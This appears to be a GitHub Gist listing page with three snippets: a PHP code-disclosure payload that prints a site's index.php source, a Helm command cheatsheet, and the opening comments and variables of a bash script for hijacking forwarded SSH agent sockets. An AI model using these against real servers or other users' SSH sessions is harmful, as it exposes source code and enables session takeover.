Skip to content

Instantly share code, notes, and snippets.

@LucasVanHaaren
LucasVanHaaren / shell_lang.php
Last active June 27, 2023 07:43
Dummy PHP code disclosure exploit
<?php
$myfile = fopen("index.php", "r") or die("Unable to open file!");
echo fread($myfile,filesize("index.php"));
fclose($myfile);
?>
@LucasVanHaaren
LucasVanHaaren / helm.md
Last active July 4, 2024 15:02
Kubernetes-related cli cheatsheets

List charts of a custom repository / artifacthub

helm search repo $REPO_NAME
helm search hub $CHART_NAME

List installed releases on a cluster / specific namespace

helm list -A
helm list -n $NAMESPACE
@LucasVanHaaren
LucasVanHaaren / ssh_fw_agent_hijack.sh
Last active July 16, 2024 22:59
SSH forwarded agent hijacking bash exploit
#!/bin/bash
#
# Simple portable bash script to exploit insecure forwarded SSH agent
# When agent_forwarding is enabled, this allows every local user which
# has access to the ssh agent's dir (commonly /tmp) to hijack other ssh sessions
#
# See more about this technique on https://book.hacktricks.xyz/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation
# Defaults values to watch (/tmp dir, every second, can be overrided by cmdline args)
AGENT_DIR="${1:-/tmp}"